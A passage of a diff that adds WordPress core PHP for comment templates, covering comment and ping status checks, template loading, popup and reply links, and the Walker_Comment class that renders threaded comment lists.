+	if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && false !== stripos( $_SERVER['HTTP_USER_AGENT'], 'W3C_Validator' ) ) {
+		return;
+	}
+
+	echo '<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+			xmlns:dc="http://purl.org/dc/elements/1.1/"
+			xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/">
+		<rdf:Description rdf:about="';
+	the_permalink();
+	echo '"'."\n";
+	echo '    dc:identifier="';
+	the_permalink();
+	echo '"'."\n";
+	echo '    dc:title="'.str_replace('--', '&#x2d;&#x2d;', wptexturize(strip_tags(get_the_title()))).'"'."\n";
+	echo '    trackback:ping="'.get_trackback_url().'"'." />\n";
+	echo '</rdf:RDF>';
+}
+
+/**
+ * Whether the current post is open for comments.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post.
+ * @return bool True if the comments are open.
+ */
+function comments_open( $post_id = null ) {
+
+	$_post = get_post($post_id);
+
+	$open = ( 'open' == $_post->comment_status );
+
+	/**
+	 * Filter whether the current post is open for comments.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool        $open    Whether the current post is open for comments.
+	 * @param int|WP_Post $post_id The post ID or WP_Post object.
+	 */
+	return apply_filters( 'comments_open', $open, $post_id );
+}
+
+/**
+ * Whether the current post is open for pings.
+ *
+ * @since 1.5.0
+ *
+ * @param int|WP_Post $post_id Post ID or WP_Post object. Default current post.
+ * @return bool True if pings are accepted
+ */
+function pings_open( $post_id = null ) {
+
+	$_post = get_post($post_id);
+
+	$open = ( 'open' == $_post->ping_status );
+
+	/**
+	 * Filter whether the current post is open for pings.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool        $open    Whether the current post is open for pings.
+	 * @param int|WP_Post $post_id The post ID or WP_Post object.
+	 */
+	return apply_filters( 'pings_open', $open, $post_id );
+}
+
+/**
+ * Display form token for unfiltered comments.
+ *
+ * Will only display nonce token if the current user has permissions for
+ * unfiltered html. Won't display the token for other users.
+ *
+ * The function was backported to 2.0.10 and was added to versions 2.1.3 and
+ * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in
+ * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0.
+ *
+ * Backported to 2.0.10.
+ *
+ * @since 2.1.3
+ */
+function wp_comment_form_unfiltered_html_nonce() {
+	$post = get_post();
+	$post_id = $post ? $post->ID : 0;
+
+	if ( current_user_can( 'unfiltered_html' ) ) {
+		wp_nonce_field( 'unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment_disabled', false );
+		echo "<script>(function(){if(window===window.parent){document.getElementById('_wp_unfiltered_html_comment_disabled').name='_wp_unfiltered_html_comment';}})();</script>\n";
+	}
+}
+
+/**
+ * Load the comment template specified in $file.
+ *
+ * Will not display the comments template if not on single post or page, or if
+ * the post does not have comments.
+ *
+ * Uses the WordPress database object to query for the comments. The comments
+ * are passed through the 'comments_array' filter hook with the list of comments
+ * and the post ID respectively.
+ *
+ * The $file path is passed through a filter hook called, 'comments_template'
+ * which includes the TEMPLATEPATH and $file combined. Tries the $filtered path
+ * first and if it fails it will require the default comment template from the
+ * default theme. If either does not exist, then the WordPress process will be
+ * halted. It is advised for that reason, that the default theme is not deleted.
+ *
+ * @todo Document globals
+ * @uses $withcomments Will not try to get the comments if the post has none.
+ *
+ * @since 1.5.0
+ *
+ * @param string $file              Optional. The file to load. Default '/comments.php'.
+ * @param bool   $separate_comments Optional. Whether to separate the comments by comment type.
+ *                                  Default false.
+ * @return null Returns null if no comments appear.
+ */
+function comments_template( $file = '/comments.php', $separate_comments = false ) {
+	global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_ID, $user_identity, $overridden_cpage;
+
+	if ( !(is_single() || is_page() || $withcomments) || empty($post) )
+		return;
+
+	if ( empty($file) )
+		$file = '/comments.php';
+
+	$req = get_option('require_name_email');
+
+	/*
+	 * Comment author information fetched from the comment cookies.
+	 * Uuses wp_get_current_commenter().
+	 */
+	$commenter = wp_get_current_commenter();
+
+	/*
+	 * The name of the current comment author escaped for use in attributes.
+	 * Escaped by sanitize_comment_cookies().
+	 */
+	$comment_author = $commenter['comment_author'];
+
+	/*
+	 * The email address of the current comment author escaped for use in attributes.
+	 * Escaped by sanitize_comment_cookies().
+	 */
+	$comment_author_email = $commenter['comment_author_email'];
+
+	/*
+	 * The url of the current comment author escaped for use in attributes.
+	 */
+	$comment_author_url = esc_url($commenter['comment_author_url']);
+
+	$comment_args = array(
+		'order'   => 'ASC',
+		'orderby' => 'comment_date_gmt',
+		'status'  => 'approve',
+		'post_id' => $post->ID,
+	);
+
+	if ( $user_ID ) {
+		$comment_args['include_unapproved'] = array( $user_ID );
+	} else if ( ! empty( $comment_author_email ) ) {
+		$comment_args['include_unapproved'] = array( $comment_author_email );
+	}
+
+	$comments = get_comments( $comment_args );
+
+	/**
+	 * Filter the comments array.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $comments Array of comments supplied to the comments template.
+	 * @param int   $post_ID  Post ID.
+	 */
+	$wp_query->comments = apply_filters( 'comments_array', $comments, $post->ID );
+	$comments = &$wp_query->comments;
+	$wp_query->comment_count = count($wp_query->comments);
+	update_comment_cache($wp_query->comments);
+
+	if ( $separate_comments ) {
+		$wp_query->comments_by_type = separate_comments($comments);
+		$comments_by_type = &$wp_query->comments_by_type;
+	}
+
+	$overridden_cpage = false;
+	if ( '' == get_query_var('cpage') && get_option('page_comments') ) {
+		set_query_var( 'cpage', 'newest' == get_option('default_comments_page') ? get_comment_pages_count() : 1 );
+		$overridden_cpage = true;
+	}
+
+	if ( !defined('COMMENTS_TEMPLATE') )
+		define('COMMENTS_TEMPLATE', true);
+
+	$theme_template = STYLESHEETPATH . $file;
+	/**
+	 * Filter the path to the theme template file used for the comments template.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string $theme_template The path to the theme template file.
+	 */
+	$include = apply_filters( 'comments_template', $theme_template );
+	if ( file_exists( $include ) )
+		require( $include );
+	elseif ( file_exists( TEMPLATEPATH . $file ) )
+		require( TEMPLATEPATH . $file );
+	else // Backward compat code will be removed in a future release
+		require( ABSPATH . WPINC . '/theme-compat/comments.php');
+}
+
+/**
+ * Display the JS popup script to show a comment.
+ *
+ * If the $file parameter is empty, then the home page is assumed. The defaults
+ * for the window are 400px by 400px.
+ *
+ * For the comment link popup to work, this function has to be called or the
+ * normal comment link will be assumed.
+ *
+ * @global string $wpcommentspopupfile  The URL to use for the popup window.
+ * @global int    $wpcommentsjavascript Whether to use JavaScript. Set when function is called.
+ *
+ * @since 0.71
+ *
+ * @param int $width  Optional. The width of the popup window. Default 400.
+ * @param int $height Optional. The height of the popup window. Default 400.
+ * @param string $file Optional. Sets the location of the popup window.
+ */
+function comments_popup_script( $width = 400, $height = 400, $file = '' ) {
+	global $wpcommentspopupfile, $wpcommentsjavascript;
+
+	if (empty ($file)) {
+		$wpcommentspopupfile = '';  // Use the index.
+	} else {
+		$wpcommentspopupfile = $file;
+	}
+
+	$wpcommentsjavascript = 1;
+	$javascript = "<script type='text/javascript'>\nfunction wpopen (macagna) {\n    window.open(macagna, '_blank', 'width=$width,height=$height,scrollbars=yes,status=yes');\n}\n</script>\n";
+	echo $javascript;
+}
+
+/**
+ * Displays the link to the comments popup window for the current post ID.
+ *
+ * Is not meant to be displayed on single posts and pages. Should be used
+ * on the lists of posts
+ *
+ * @global string $wpcommentspopupfile  The URL to use for the popup window.
+ * @global int    $wpcommentsjavascript Whether to use JavaScript. Set when function is called.
+ *
+ * @since 0.71
+ *
+ * @param string $zero      Optional. String to display when no comments. Default false.
+ * @param string $one       Optional. String to display when only one comment is available.
+ *                          Default false.
+ * @param string $more      Optional. String to display when there are more than one comment.
+ *                          Default false.
+ * @param string $css_class Optional. CSS class to use for comments. Default empty.
+ * @param string $none      Optional. String to display when comments have been turned off.
+ *                          Default false.
+ * @return null Returns null on single posts and pages.
+ */
+function comments_popup_link( $zero = false, $one = false, $more = false, $css_class = '', $none = false ) {
+	global $wpcommentspopupfile, $wpcommentsjavascript;
+
+	$id = get_the_ID();
+
+	if ( false === $zero ) $zero = __( 'No Comments' );
+	if ( false === $one ) $one = __( '1 Comment' );
+	if ( false === $more ) $more = __( '% Comments' );
+	if ( false === $none ) $none = __( 'Comments Off' );
+
+	$number = get_comments_number( $id );
+
+	if ( 0 == $number && !comments_open() && !pings_open() ) {
+		echo '<span' . ((!empty($css_class)) ? ' class="' . esc_attr( $css_class ) . '"' : '') . '>' . $none . '</span>';
+		return;
+	}
+
+	if ( post_password_required() ) {
+		echo __('Enter your password to view comments.');
+		return;
+	}
+
+	echo '<a href="';
+	if ( $wpcommentsjavascript ) {
+		if ( empty( $wpcommentspopupfile ) )
+			$home = home_url();
+		else
+			$home = get_option('siteurl');
+		echo $home . '/' . $wpcommentspopupfile . '?comments_popup=' . $id;
+		echo '" onclick="wpopen(this.href); return false"';
+	} else { // if comments_popup_script() is not in the template, display simple comment link
+		if ( 0 == $number )
+			echo get_permalink() . '#respond';
+		else
+			comments_link();
+		echo '"';
+	}
+
+	if ( !empty( $css_class ) ) {
+		echo ' class="'.$css_class.'" ';
+	}
+	$title = the_title_attribute( array('echo' => 0 ) );
+
+	$attributes = '';
+	/**
+	 * Filter the comments popup link attributes for display.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param string $attributes The comments popup link attributes. Default empty.
+	 */
+	echo apply_filters( 'comments_popup_link_attributes', $attributes );
+
+	echo ' title="' . esc_attr( sprintf( __('Comment on %s'), $title ) ) . '">';
+	comments_number( $zero, $one, $more );
+	echo '</a>';
+}
+
+/**
+ * Retrieve HTML content for reply to comment link.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args {
+ *     Optional. Override default arguments.
+ *
+ *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
+ *                              The resulting value is passed as the first parameter to addComment.moveForm(),
+ *                              concatenated as $add_below-$comment->comment_ID. Default 'comment'.
+ *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
+ *                              to addComment.moveForm(), and appended to the link URL as a hash value.
+ *                              Default 'respond'.
+ *     @type string $reply_text The text of the Reply link. Default 'Reply'.
+ *     @type string $login_text The text of the link to reply if logged out. Default 'Log in to Reply'.
+ *     @type int    $depth'     The depth of the new comment. Must be greater than 0 and less than the value
+ *                              of the 'thread_comments_depth' option set in Settings > Discussion. Default 0.
+ *     @type string $before     The text or HTML to add before the reply link. Default empty.
+ *     @type string $after      The text or HTML to add after the reply link. Default empty.
+ * }
+ * @param int         $comment Comment being replied to. Default current comment.
+ * @param int|WP_Post $post    Post ID or WP_Post object the comment is going to be displayed on.
+ *                             Default current post.
+ * @return null|false|string Link to show comment form, if successful. False, if comments are closed.
+ */
+function get_comment_reply_link( $args = array(), $comment = null, $post = null ) {
+
+	$defaults = array(
+		'add_below'     => 'comment',
+		'respond_id'    => 'respond',
+		'reply_text'    => __( 'Reply' ),
+		'reply_to_text' => __( 'Reply to %s' ),
+		'login_text'    => __( 'Log in to Reply' ),
+		'depth'         => 0,
+		'before'        => '',
+		'after'         => ''
+	);
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( 0 == $args['depth'] || $args['max_depth'] <= $args['depth'] ) {
+		return;
+	}
+
+	$comment = get_comment( $comment );
+
+	if ( empty( $post ) ) {
+		$post = $comment->comment_post_ID;
+	}
+
+	$post = get_post( $post );
+
+	if ( ! comments_open( $post->ID ) ) {
+		return false;
+	}
+
+	/**
+	 * Filter the comment reply link arguments.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array   $args    Comment reply link arguments. See {@see get_comment_reply_link()}
+	 *                         for more information on accepted arguments.
+	 * @param object  $comment The object of the comment being replied to.
+	 * @param WP_Post $post    The {@see WP_Post} object.
+	 */
+	$args = apply_filters( 'comment_reply_link_args', $args, $comment, $post );
+
+	if ( get_option( 'comment_registration' ) && ! is_user_logged_in() ) {
+		$link = sprintf( '<a rel="nofollow" class="comment-reply-login" href="%s">%s</a>',
+			esc_url( wp_login_url( get_permalink() ) ),
+			$args['login_text']
+		);
+	} else {
+		$onclick = sprintf( 'return addComment.moveForm( "%1$s-%2$s", "%2$s", "%3$s", "%4$s" )',
+			$args['add_below'], $comment->comment_ID, $args['respond_id'], $post->ID
+		);
+
+		$link = sprintf( "<a class='comment-reply-link' href='%s' onclick='%s' aria-label='%s'>%s</a>",
+			esc_url( add_query_arg( 'replytocom', $comment->comment_ID ) ) . "#" . $args['respond_id'],
+			$onclick,
+			esc_attr( sprintf( $args['reply_to_text'], $comment->comment_author ) ),
+			$args['reply_text']
+		);
+	}
+	/**
+	 * Filter the comment reply link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string  $link    The HTML markup for the comment reply link.
+	 * @param array   $args    An array of arguments overriding the defaults.
+	 * @param object  $comment The object of the comment being replied.
+	 * @param WP_Post $post    The WP_Post object.
+	 */
+	return apply_filters( 'comment_reply_link', $args['before'] . $link . $args['after'], $args, $comment, $post );
+}
+
+/**
+ * Displays the HTML content for reply to comment link.
+ *
+ * @since 2.7.0
+ *
+ * @see get_comment_reply_link()
+ *
+ * @param array       $args    Optional. Override default options.
+ * @param int         $comment Comment being replied to. Default current comment.
+ * @param int|WP_Post $post    Post ID or WP_Post object the comment is going to be displayed on.
+ *                             Default current post.
+ * @return mixed Link to show comment form, if successful. False, if comments are closed.
+ */
+function comment_reply_link($args = array(), $comment = null, $post = null) {
+	echo get_comment_reply_link($args, $comment, $post);
+}
+
+/**
+ * Retrieve HTML content for reply to post link.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args {
+ *     Optional. Override default arguments.
+ *
+ *     @type string $add_below  The first part of the selector used to identify the comment to respond below.
+ *                              The resulting value is passed as the first parameter to addComment.moveForm(),
+ *                              concatenated as $add_below-$comment->comment_ID. Default is 'post'.
+ *     @type string $respond_id The selector identifying the responding comment. Passed as the third parameter
+ *                              to addComment.moveForm(), and appended to the link URL as a hash value.
+ *                              Default 'respond'.
+ *     @type string $reply_text Text of the Reply link. Default is 'Leave a Comment'.
+ *     @type string $login_text Text of the link to reply if logged out. Default is 'Log in to leave a Comment'.
+ *     @type string $before     Text or HTML to add before the reply link. Default empty.
+ *     @type string $after      Text or HTML to add after the reply link. Default empty.
+ * }
+ * @param int|WP_Post $post    Optional. Post ID or WP_Post object the comment is going to be displayed on.
+ *                             Default current post.
+ * @return false|null|string Link to show comment form, if successful. False, if comments are closed.
+ */
+function get_post_reply_link($args = array(), $post = null) {
+	$defaults = array(
+		'add_below'  => 'post',
+		'respond_id' => 'respond',
+		'reply_text' => __('Leave a Comment'),
+		'login_text' => __('Log in to leave a Comment'),
+		'before'     => '',
+		'after'      => '',
+	);
+
+	$args = wp_parse_args($args, $defaults);
+
+	$post = get_post($post);
+
+	if ( ! comments_open( $post->ID ) ) {
+		return false;
+	}
+
+	if ( get_option('comment_registration') && ! is_user_logged_in() ) {
+		$link = sprintf( '<a rel="nofollow" href="%s">%s</a>',
+			wp_login_url( get_permalink() ),
+			$args['login_text']
+		);
+	} else {
+		$onclick = sprintf( 'return addComment.moveForm( "%1$s-%2$s", "0", "%3$s", "%2$s" )',
+			$args['add_below'], $post->ID, $args['respond_id']
+		);
+
+		$link = sprintf( "<a rel='nofollow' class='comment-reply-link' href='%s' onclick='%s'>%s</a>",
+			get_permalink( $post->ID ) . '#' . $args['respond_id'],
+			$onclick,
+			$args['reply_text']
+		);
+	}
+	$formatted_link = $args['before'] . $link . $args['after'];
+	/**
+	 * Filter the formatted post comments link HTML.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string      $formatted The HTML-formatted post comments link.
+	 * @param int|WP_Post $post      The post ID or WP_Post object.
+	 */
+	return apply_filters( 'post_comments_link', $formatted_link, $post );
+}
+
+/**
+ * Displays the HTML content for reply to post link.
+ *
+ * @since 2.7.0
+ *
+ * @see get_post_reply_link()
+ *
+ * @param array       $args Optional. Override default options,
+ * @param int|WP_Post $post Post ID or WP_Post object the comment is going to be displayed on.
+ *                          Default current post.
+ * @return string|bool|null Link to show comment form, if successful. False, if comments are closed.
+ */
+function post_reply_link($args = array(), $post = null) {
+	echo get_post_reply_link($args, $post);
+}
+
+/**
+ * Retrieve HTML content for cancel comment reply link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $text Optional. Text to display for cancel reply link. Default empty.
+ */
+function get_cancel_comment_reply_link( $text = '' ) {
+	if ( empty($text) )
+		$text = __('Click here to cancel reply.');
+
+	$style = isset($_GET['replytocom']) ? '' : ' style="display:none;"';
+	$link = esc_html( remove_query_arg('replytocom') ) . '#respond';
+
+	$formatted_link = '<a rel="nofollow" id="cancel-comment-reply-link" href="' . $link . '"' . $style . '>' . $text . '</a>';
+	/**
+	 * Filter the cancel comment reply link HTML.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $formatted_link The HTML-formatted cancel comment reply link.
+	 * @param string $link           Cancel comment reply link URL.
+	 * @param string $text           Cancel comment reply link text.
+	 */
+	return apply_filters( 'cancel_comment_reply_link', $formatted_link, $link, $text );
+}
+
+/**
+ * Display HTML content for cancel comment reply link.
+ *
+ * @since 2.7.0
+ *
+ * @param string $text Optional. Text to display for cancel reply link. Default empty.
+ */
+function cancel_comment_reply_link( $text = '' ) {
+	echo get_cancel_comment_reply_link($text);
+}
+
+/**
+ * Retrieve hidden input HTML for replying to comments.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id Optional. Post ID. Default current post ID.
+ * @return string Hidden input HTML for replying to comments
+ */
+function get_comment_id_fields( $id = 0 ) {
+	if ( empty( $id ) )
+		$id = get_the_ID();
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+	$result  = "<input type='hidden' name='comment_post_ID' value='$id' id='comment_post_ID' />\n";
+	$result .= "<input type='hidden' name='comment_parent' id='comment_parent' value='$replytoid' />\n";
+
+	/**
+	 * Filter the returned comment id fields.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $result    The HTML-formatted hidden id field comment elements.
+	 * @param int    $id        The post ID.
+	 * @param int    $replytoid The id of the comment being replied to.
+	 */
+	return apply_filters( 'comment_id_fields', $result, $id, $replytoid );
+}
+
+/**
+ * Output hidden input HTML for replying to comments.
+ *
+ * @since 2.7.0
+ *
+ * @param int $id Optional. Post ID. Default current post ID.
+ */
+function comment_id_fields( $id = 0 ) {
+	echo get_comment_id_fields( $id );
+}
+
+/**
+ * Display text based on comment reply status.
+ *
+ * Only affects users with JavaScript disabled.
+ *
+ * @since 2.7.0
+ *
+ * @param string $noreplytext  Optional. Text to display when not replying to a comment.
+ *                             Default false.
+ * @param string $replytext    Optional. Text to display when replying to a comment.
+ *                             Default false. Accepts "%s" for the author of the comment
+ *                             being replied to.
+ * @param string $linktoparent Optional. Boolean to control making the author's name a link
+ *                             to their comment. Default true.
+ */
+function comment_form_title( $noreplytext = false, $replytext = false, $linktoparent = true ) {
+	global $comment;
+
+	if ( false === $noreplytext ) $noreplytext = __( 'Leave a Reply' );
+	if ( false === $replytext ) $replytext = __( 'Leave a Reply to %s' );
+
+	$replytoid = isset($_GET['replytocom']) ? (int) $_GET['replytocom'] : 0;
+
+	if ( 0 == $replytoid )
+		echo $noreplytext;
+	else {
+		$comment = get_comment($replytoid);
+		$author = ( $linktoparent ) ? '<a href="#comment-' . get_comment_ID() . '">' . get_comment_author() . '</a>' : get_comment_author();
+		printf( $replytext, $author );
+	}
+}
+
+/**
+ * HTML comment list class.
+ *
+ * @uses Walker
+ * @since 2.7.0
+ */
+class Walker_Comment extends Walker {
+	/**
+	 * What the class handles.
+	 *
+	 * @see Walker::$tree_type
+	 *
+	 * @since 2.7.0
+	 * @var string
+	 */
+	public $tree_type = 'comment';
+
+	/**
+	 * DB fields to use.
+	 *
+	 * @see Walker::$db_fields
+	 *
+	 * @since 2.7.0
+	 * @var array
+	 */
+	public $db_fields = array ('parent' => 'comment_parent', 'id' => 'comment_ID');
+
+	/**
+	 * Start the list before the elements are added.
+	 *
+	 * @see Walker::start_lvl()
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int $depth Depth of comment.
+	 * @param array $args Uses 'style' argument for type of HTML list.
+	 */
+	public function start_lvl( &$output, $depth = 0, $args = array() ) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				$output .= '<ol class="children">' . "\n";
+				break;
+			case 'ul':
+			default:
+				$output .= '<ul class="children">' . "\n";
+				break;
+		}
+	}
+
+	/**
+	 * End the list of items after the elements are added.
+	 *
+	 * @see Walker::end_lvl()
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $output Passed by reference. Used to append additional content.
+	 * @param int    $depth  Depth of comment.
+	 * @param array  $args   Will only append content if style argument value is 'ol' or 'ul'.
+	 */
+	public function end_lvl( &$output, $depth = 0, $args = array() ) {
+		$GLOBALS['comment_depth'] = $depth + 1;
+
+		switch ( $args['style'] ) {
+			case 'div':
+				break;
+			case 'ol':
+				$output .= "</ol><!-- .children -->\n";
+				break;
+			case 'ul':
+			default:
+				$output .= "</ul><!-- .children -->\n";
+				break;
+		}
+	}
+
+	/**
+	 * Traverse elements to create list from elements.
+	 *
+	 * This function is designed to enhance Walker::display_element() to
+	 * display children of higher nesting levels than selected inline on
+	 * the highest depth level displayed. This prevents them being orphaned
+	 * at the end of the comment list.
+	 *
+	 * Example: max_depth = 2, with 5 levels of nested content.
+	 * 1
+	 *  1.1
+	 *    1.1.1
+	 *    1.1.1.1
+	 *    1.1.1.1.1
+	 *    1.1.2
+	 *    1.1.2.1
+	 * 2
+	 *  2.2
+	 *
+	 * @see Walker::display_element()
+	 * @see wp_list_comments()
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param object $element           Data object.
+	 * @param array  $children_elements List of elements to continue traversing.
+	 * @param int    $max_depth         Max depth to traverse.
+	 * @param int    $depth             Depth of current element.
+	 * @param array  $args              An array of arguments.
+	 * @param string $output            Passed by reference. Used to append additional content.
+	 * @return null Null on failure with no changes to parameters.
+	 */
+	public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
+
+		if ( !$element )
+			return;
+
+		$id_field = $this->db_fields['id'];
+		$id = $element->$id_field;
+
+		parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );
+
+		// If we're at the max depth, and the current element still has children, loop over those and display them at this level
+		// This is to prevent them being orphaned to the end of the list.
+		if ( $max_depth <= $depth + 1 && isset( $children_elements[$id]) ) {
+			foreach ( $children_elements[ $id ] as $child )
+				$this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output );
+
+			unset( $children_elements[ $id ] );
+		}
+
+	}
+
+	/**
+	 * Start the element output.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::start_el()
+	 * @see wp_list_comments()
+	 *
+	 * @param string $output  Passed by reference. Used to append additional content.
+	 * @param object $comment Comment data object.
+	 * @param int    $depth   Depth of comment in reference to parents.
+	 * @param array  $args    An array of arguments.
+	 */
+	public function start_el( &$output, $comment, $depth = 0, $args = array(), $id = 0 ) {
+		$depth++;
+		$GLOBALS['comment_depth'] = $depth;
+		$GLOBALS['comment'] = $comment;
+
+		if ( !empty( $args['callback'] ) ) {
+			ob_start();
+			call_user_func( $args['callback'], $comment, $args, $depth );
+			$output .= ob_get_clean();
+			return;
+		}
+
+		if ( ( 'pingback' == $comment->comment_type || 'trackback' == $comment->comment_type ) && $args['short_ping'] ) {
+			ob_start();
+			$this->ping( $comment, $depth, $args );
+			$output .= ob_get_clean();
+		} elseif ( 'html5' === $args['format'] ) {
+			ob_start();
+			$this->html5_comment( $comment, $depth, $args );
+			$output .= ob_get_clean();
+		} else {
+			ob_start();
+			$this->comment( $comment, $depth, $args );
+			$output .= ob_get_clean();
+		}
+	}
+
+	/**
+	 * Ends the element output, if needed.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see Walker::end_el()
+	 * @see wp_list_comments()
+	 *
+	 * @param string $output  Passed by reference. Used to append additional content.
+	 * @param object $comment The comment object. Default current comment.
+	 * @param int    $depth   Depth of comment.
+	 * @param array  $args    An array of arguments.
+	 */
+	public function end_el( &$output, $comment, $depth = 0, $args = array() ) {
+		if ( !empty( $args['end-callback'] ) ) {
+			ob_start();
+			call_user_func( $args['end-callback'], $comment, $args, $depth );
+			$output .= ob_get_clean();
+			return;
+		}
+		if ( 'div' == $args['style'] )
+			$output .= "</div><!-- #comment-## -->\n";
+		else
+			$output .= "</li><!-- #comment-## -->\n";
+	}
+
+	/**
+	 * Output a pingback comment.
+	 *
+	 * @access protected
+	 * @since 3.6.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param object $comment The comment object.
+	 * @param int    $depth   Depth of comment.
+	 * @param array  $args    An array of arguments.
+	 */
+	protected function ping( $comment, $depth, $args ) {
+		$tag = ( 'div' == $args['style'] ) ? 'div' : 'li';
+?>
+		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class(); ?>>
+			<div class="comment-body">
+				<?php _e( 'Pingback:' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
+			</div>
+<?php
+	}
+
+	/**
+	 * Output a single comment.
+	 *
+	 * @access protected
+	 * @since 3.6.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param object $comment Comment to display.
+	 * @param int    $depth   Depth of comment.
+	 * @param array  $args    An array of arguments.
+	 */
+	protected function comment( $comment, $depth, $args ) {
+		if ( 'div' == $args['style'] ) {
+			$tag = 'div';
+			$add_below = 'comment';
+		} else {
+			$tag = 'li';
+			$add_below = 'div-comment';
+		}
+?>
+		<<?php echo $tag; ?> <?php comment_class( $this->has_children ? 'parent' : '' ); ?> id="comment-<?php comment_ID(); ?>">
+		<?php if ( 'div' != $args['style'] ) : ?>
+		<div id="div-comment-<?php comment_ID(); ?>" class="comment-body">
+		<?php endif; ?>
+		<div class="comment-author vcard">
+			<?php if ( 0 != $args['avatar_size'] ) echo get_avatar( $comment, $args['avatar_size'] ); ?>
+			<?php printf( __( '<cite class="fn">%s</cite> <span class="says">says:</span>' ), get_comment_author_link() ); ?>
+		</div>
+		<?php if ( '0' == $comment->comment_approved ) : ?>
+		<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.' ) ?></em>
+		<br />
+		<?php endif; ?>
+
+		<div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID, $args ) ); ?>">
+			<?php
+				/* translators: 1: date, 2: time */
+				printf( __( '%1$s at %2$s' ), get_comment_date(),  get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)' ), '&nbsp;&nbsp;', '' );
+			?>
+		</div>
+
+		<?php comment_text( get_comment_id(), array_merge( $args, array( 'add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+
+		<?php
+		comment_reply_link( array_merge( $args, array(
+			'add_below' => $add_below,
+			'depth'     => $depth,
+			'max_depth' => $args['max_depth'],
+			'before'    => '<div class="reply">',
+			'after'     => '</div>'
+		) ) );
+		?>
+
+		<?php if ( 'div' != $args['style'] ) : ?>
+		</div>
+		<?php endif; ?>
+<?php
+	}
+
+	/**
+	 * Output a comment in the HTML5 format.
+	 *
+	 * @access protected
+	 * @since 3.6.0
+	 *
+	 * @see wp_list_comments()
+	 *
+	 * @param object $comment Comment to display.
+	 * @param int    $depth   Depth of comment.
+	 * @param array  $args    An array of arguments.
+	 */
+	protected function html5_comment( $comment, $depth, $args ) {
+		$tag = ( 'div' === $args['style'] ) ? 'div' : 'li';
+?>
+		<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '' ); ?>>
+			<article id="div-comment-<?php comment_ID(); ?>" class="comment-body">
+				<footer class="comment-meta">
+					<div class="comment-author vcard">
+						<?php if ( 0 != $args['avatar_size'] ) echo get_avatar( $comment, $args['avatar_size'] ); ?>
+						<?php printf( __( '%s <span class="says">says:</span>' ), sprintf( '<b class="fn">%s</b>', get_comment_author_link() ) ); ?>
+					</div><!-- .comment-author -->
+
+					<div class="comment-metadata">
+						<a href="<?php echo esc_url( get_comment_link( $comment->comment_ID, $args ) ); ?>">
+							<time datetime="<?php comment_time( 'c' ); ?>">
+								<?php printf( _x( '%1$s at %2$s', '1: date, 2: time' ), get_comment_date(), get_comment_time() ); ?>
+							</time>
+						</a>
+						<?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
+					</div><!-- .comment-metadata -->
+
+					<?php if ( '0' == $comment->comment_approved ) : ?>
+					<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.' ); ?></p>
+					<?php endif; ?>
+				</footer><!-- .comment-meta -->
+
+				<div class="comment-content">
+					<?php comment_text(); ?>
+				</div><!-- .comment-content -->
+
+				<?php
+				comment_reply_link( array_merge( $args, array(
+					'add_below' => 'div-comment',
+					'depth'     => $depth,
+					'max_depth' => $args['max_depth'],
+					'before'    => '<div class="reply">',
+					'after'     => '</div>'
+				) ) );
+				?>
+			</article><!-- .comment-body -->
+<?php
+	}
+}
+
+/**
+ * List comments.
+ *
+ * Used in the comments.php template to list comments for a particular post.
+ *
+ * @since 2.7.0
+ *
+ * @see WP_Query->comments
+ *
+ * @param string|array $args {
+ *     Optional. Formatting options.
+ *
+ *     @type object $walker            Instance of a Walker class to list comments. Default null.
+ *     @type int    $max_depth         The maximum comments depth. Default empty.
+ *     @type string $style             The style of list ordering. Default 'ul'. Accepts 'ul', 'ol'.
